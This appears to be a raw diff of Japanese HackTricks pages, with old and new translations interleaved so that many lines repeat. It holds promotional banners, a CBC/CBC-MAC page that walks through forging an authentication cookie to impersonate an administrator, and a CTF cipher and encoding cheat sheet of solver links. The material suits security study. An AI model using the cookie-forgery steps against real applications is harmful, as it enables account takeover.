- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksに広告を掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。これは私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,84 +1,81 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
もし**クッキー**が**ユーザー名**だけ(またはクッキーの最初の部分がユーザー名)であり、ユーザー名「**admin**」をなりすます場合、ユーザー名**「bdmin」**を作成し、クッキーの**最初のバイト**を**ブルートフォース**できます。
|
||||
もし**cookie**が**username**だけである場合(またはcookieの最初の部分がusernameである場合)、username "**admin**"になりすましをしたい場合は、usernameに**"bdmin"**を作成し、cookieの**最初のバイト**を**ブルートフォース**することができます。
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
暗号学において、**Cipher Block Chaining Message Authentication Code**(**CBC-MAC**)は、ブロック暗号からメッセージ認証コードを構築するための技術です。メッセージは、いくつかのブロック暗号アルゴリズムを使用してCBCモードで暗号化され、**各ブロックが前のブロックの適切な暗号化に依存するようにブロックのチェーンが作成**されます。この相互依存性により、平文の**任意のビットの変更が、鍵を知らない限り予測または打ち消すことができない方法で最終的な暗号化ブロックを変更**させます。
|
||||
暗号学において、**cipher block chaining message authentication code**(**CBC-MAC**)は、ブロック暗号からメッセージ認証コードを構築するための技術です。メッセージはCBCモードでブロック暗号アルゴリズムで暗号化され、**各ブロックが前のブロックの適切な暗号化に依存するブロックのチェーンを作成します**。この相互依存性により、プレーンテキストの**任意のビット**に対する**変更**が、ブロック暗号のキーを知らないと予測または対抗できない方法で**最終的な暗号化されたブロック**を**変更**することを保証します。
|
||||
|
||||
メッセージmのCBC-MACを計算するには、ゼロの初期化ベクトルでmをCBCモードで暗号化し、最後のブロックを保持します。次の図は、秘密鍵kとブロック暗号Eを使用してブロック![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)からなるメッセージのCBC-MACの計算をスケッチしたものです。
|
||||
メッセージmのCBC-MACを計算するには、初期化ベクトルをゼロにしてmをCBCモードで暗号化し、最後のブロックを保持します。以下の図は、秘密鍵kとブロック暗号Eを使用して、ブロック![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)で構成されるメッセージのCBC-MACの計算をスケッチしています:
|
||||
|
||||
![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||
![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_%28en%29.svg/570px-CBC-MAC_structure_%28en%29.svg.png)
|
||||
|
||||
# 脆弱性
|
||||
|
||||
CBC-MACでは通常、使用される**IVは0**です。\
|
||||
これは、2つの既知のメッセージ(`m1`と`m2`)が独立して2つの署名(`s1`と`s2`)を生成することを意味します。したがって:
|
||||
通常、CBC-MACでは使用される**IVは0**です。\
|
||||
これは問題です。なぜなら、2つの既知のメッセージ(`m1`と`m2`)は、独立して2つの署名(`s1`と`s2`)を生成するからです。したがって:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
* `E(m2 XOR 0) = s2`
|
||||
|
||||
その後、m1とm2を連結したメッセージ(m3)は2つの署名(s31とs32)を生成します:
|
||||
次に、m1とm2を連結したメッセージ(m3)は2つの署名(s31とs32)を生成します:
|
||||
|
||||
* `E(m1 XOR 0) = s31 = s1`
|
||||
* `E(m2 XOR s1) = s32`
|
||||
|
||||
**これは、暗号化の鍵を知らなくても計算可能です。**
|
||||
**これは、暗号のキーを知らなくても計算することが可能です。**
|
||||
|
||||
名前**Administrator**を**8バイト**のブロックで暗号化していると想像してください:
|
||||
例えば、名前**Administrator**を**8バイト**ブロックで暗号化しているとします:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
**Administ**(m1)というユーザー名を作成し、署名(s1)を取得できます。\
|
||||
次に、**rator\00\00\00 XOR s1 XOR 0**の結果となるユーザー名を作成できます。これにより、`E(m2 XOR s1 XOR 0)`が生成され、それはs32です。\
|
||||
これで、s32をフルネーム**Administrator**の署名として使用できます。
|
||||
あなたは**Administ**(m1)というユーザー名を作成し、署名(s1)を取得することができます。\
|
||||
次に、`rator\00\00\00 XOR s1`の結果というユーザー名を作成できます。これにより、`E(m2 XOR s1 XOR 0)`が生成され、これはs32です。\
|
||||
今、あなたはs32をフルネーム**Administrator**の署名として使用することができます。
|
||||
|
||||
### 要約
|
||||
|
||||
1. ユーザー名**Administ**(m1)の署名であるs1を取得します。
|
||||
2. ユーザー名**rator\x00\x00\x00 XOR s1 XOR 0**の署名であるs32を取得します。
|
||||
3. クッキーをs32に設定し、ユーザー**Administrator**の有効なクッキーになります。
|
||||
1. ユーザー名**Administ**(m1)の署名を取得します。これはs1です。
|
||||
2. ユーザー名**rator\x00\x00\x00 XOR s1 XOR 0**の署名はs32です。
|
||||
3. cookieをs32に設定すると、ユーザー**Administrator**の有効なcookieになります。
|
||||
|
||||
# 攻撃時のIVの制御
|
||||
# IVを制御する攻撃
|
||||
|
||||
使用されるIVを制御できる場合、攻撃は非常に簡単になります。\
|
||||
クッキーが単に暗号化されたユーザー名である場合、ユーザー**administrator**をなりすますためにユーザー**Administrator**を作成し、そのクッキーを取得できます。\
|
||||
さて、IVを制御できる場合、IVの最初のバイトを変更して**IV\[0] XOR "A" == IV'\[0] XOR "a"**とすることができ、ユーザー**Administrator**のクッキーを再生成できます。このクッキーは、初期の**IV**で**ユーザーadministrator**を**なりすます**ために有効です。
|
||||
使用されるIVを制御できる場合、攻撃は非常に簡単になる可能性があります。\
|
||||
もしcookieが単にユーザー名を暗号化したものである場合、ユーザー"**administrator**"になりすますためには、ユーザー"**Administrator**"を作成し、そのcookieを取得します。\
|
||||
今、もしあなたがIVを制御できるならば、IVの最初のバイトを変更して**IV\[0] XOR "A" == IV'\[0] XOR "a"**となるようにし、ユーザー**Administrator**のためのcookieを再生成することができます。このcookieは、初期**IV**を使用してユーザー**administrator**になりすますために有効です。
|
||||
|
||||
# 参考文献
|
||||
|
||||
詳細は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)を参照してください。
|
||||
より多くの情報は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)で入手できます。
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
- **[💬](https://emojipedia.org/speech-balloon/)ディスコードグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,22 @@
|
|||
# Crypto CTFsのトリック
|
||||
# Crypto CTFsのコツ
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
||||
## オンラインハッシュDB
|
||||
|
||||
* _**Googleで検索**_
|
||||
* _**Googleで検索する**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
* [https://crackstation.net/](https://crackstation.net)
|
||||
|
@ -37,14 +35,14 @@
|
|||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## エンコーダ
|
||||
## エンコーダー
|
||||
|
||||
ほとんどのエンコードされたデータは、次の2つのリソースでデコードできます:
|
||||
ほとんどのエンコードされたデータは、これら2つのリソースでデコードできます:
|
||||
|
||||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### 代替オートソルバー
|
||||
### 置換オートソルバー
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - 非常に優れています!
|
||||
|
@ -53,13 +51,13 @@
|
|||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### アトバッシュ暗号
|
||||
#### アトバシ暗号
|
||||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### ベースエンコーディングオートソルバー
|
||||
|
||||
これらのベースはすべて、[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)でチェックできます。
|
||||
これらのベースをすべてチェック: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
* **Ascii85**
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
|
@ -130,57 +128,14 @@
|
|||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
|
||||
* **Base85 (IPv6またはRFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
* `Xm4y`V\_|Y(V{dF>\`
|
||||
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
|
||||
* `Xm4y|V{~Y+V}dF?`
|
||||
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* `frDg[*jNN!7&BQM`
|
||||
* **Base100** \[]
|
||||
* `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
* **Base122** \[]
|
||||
* `4F ˂r0Xmvc`
|
||||
* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
* `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
* `kLD8iwKsigSalLJ5`
|
||||
* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
* `ayRiIo1gpO+uUc7g`
|
||||
* **ESAB46** \[]
|
||||
* `3sHcL2NR8WrT7mhR`
|
||||
* **MEGAN45** \[]
|
||||
* `kLD8igSXm2KZlwrX`
|
||||
* **TIGO3FX** \[]
|
||||
* `7AP9mIzdmltYmIP9mWXX`
|
||||
* **TRIPO5** \[]
|
||||
* `UE9vSbnBW6psVzxB`
|
||||
* **FERON74** \[]
|
||||
* `PbGkNudxCzaKBm0x`
|
||||
* **GILA7** \[]
|
||||
* `D+nkv8C1qIKMErY1`
|
||||
* **Citrix CTX1** \[]
|
||||
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Not Found: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### モールス符号
|
||||
### モールス
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Not Found: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUエンコーダー
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
|
@ -201,7 +156,7 @@ end
|
|||
```
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### Yエンコーダー
|
||||
### YEncoder
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
|
@ -218,61 +173,55 @@ ryvkryvkryvkryvkryvkryvkryvk
|
|||
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
ASCII85は、バイナリデータをテキスト形式に変換するためのエンコーディングスキームです。このスキームは、バイナリデータをテキスト形式で表現することで、データの転送や保存を容易にします。ASCII85は、AdobeがPostScriptファイルで使用するために開発したもので、データの圧縮や暗号化にも使用されます。
|
||||
|
||||
ASCII85エンコーディングは、5バイトのバイナリデータを4文字のテキストに変換します。変換されたテキストは、ASCII文字の範囲内で表現され、可読性が高いです。デコードする際には、テキストを元のバイナリデータに戻すことができます。
|
||||
|
||||
ASCII85は、CTF(Capture The Flag)や暗号解読のコンテストでよく使用される暗号化スキームです。データの変換や解読には、オンラインツールやPythonのライブラリを使用することができます。
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorakキーボード
|
||||
### ドボラックキーボード
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=ja\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=ja\&page=dvorakKeyboard)
|
||||
```
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
文字を数値に変換します。
|
||||
文字をそれらの数値に変換
|
||||
```
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### アフィン暗号のエンコード
|
||||
### Affine Cipher Encode(アフィン暗号エンコード)
|
||||
|
||||
文字を数値に変換する `(ax+b)%26` (_a_ と _b_ は鍵であり、_x_ は文字) し、結果を再び文字に変換します。
|
||||
Letter to num `(ax+b)%26`(_a_ と _b_ は鍵であり、_x_ は文字です)と結果を文字に戻す
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMSコード
|
||||
|
||||
**マルチタップ**は、モバイル[電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher)上の対応するキーコードによって定義された繰り返し数字によって、[文字を置き換えます](https://www.dcode.fr/word-letter-change)(このモードはSMSを書くときに使用されます)。
|
||||
例えば:2=A、22=B、222=C、3=D...
|
||||
このコードは、**複数の数字が繰り返されている**ことで識別できます。
|
||||
**マルチタップ** は、[携帯電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher)上の対応するキーコードで定義された繰り返される数字によって[文字を置き換えます](https://www.dcode.fr/word-letter-change)(このモードはSMSを書くときに使用されます)。\
|
||||
例えば: 2=A, 22=B, 222=C, 3=D...\
|
||||
このコードは\*\*複数の数字が繰り返されている\*\*のを見ることで識別できます。
|
||||
|
||||
このコードは、[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)でデコードすることができます。
|
||||
このコードは以下でデコードできます: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### ベーコンコード
|
||||
### ベーコン暗号
|
||||
|
||||
各文字を4つのAまたはB(または1と0)に置き換えます。
|
||||
各文字を4つのAまたはB(または1と0)に置き換えます
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
### ルーン
|
||||
### ルーン文字
|
||||
|
||||
![](../.gitbook/assets/runes.jpg)
|
||||
|
||||
## 圧縮
|
||||
|
||||
**Raw Deflate**と**Raw Inflate**(どちらもCyberchefで見つけることができます)は、ヘッダーなしでデータを圧縮および展開することができます。
|
||||
**Raw Deflate** と **Raw Inflate** は、ヘッダーなしでデータを圧縮・解凍できます(どちらもCyberchefで見つけることができます)。
|
||||
|
||||
## 簡単な暗号
|
||||
|
||||
### XOR - 自動解読
|
||||
### XOR - 自動解決ツール
|
||||
|
||||
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
|
@ -282,21 +231,17 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
|||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### ヴィジュネル暗号
|
||||
### ヴィジュネル
|
||||
|
||||
キーワードが必要です。
|
||||
キーワードが必要です
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## 強力な暗号
|
||||
|
||||
### Fernet
|
||||
|
||||
2つのBase64文字列(トークンとキー)
|
||||
2つのbase64文字列(トークンとキー)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
@ -306,18 +251,19 @@ Key:
|
|||
```
|
||||
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### サミールの秘密共有
|
||||
### サミール秘密分散
|
||||
|
||||
秘密はX個の部分に分割され、回復するにはY個の部分が必要です(_Y <=X_)。
|
||||
秘密はX部分に分割され、それを回復するにはY部分が必要です(_Y <= X_)。
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
### OpenSSLブルートフォース
|
||||
```markdown
|
||||
### OpenSSL ブルートフォース
|
||||
|
||||
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
* [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
|
||||
|
||||
## ツール
|
||||
|
||||
|
@ -327,16 +273,15 @@ Key:
|
|||
|
||||
<details>
|
||||
|
||||
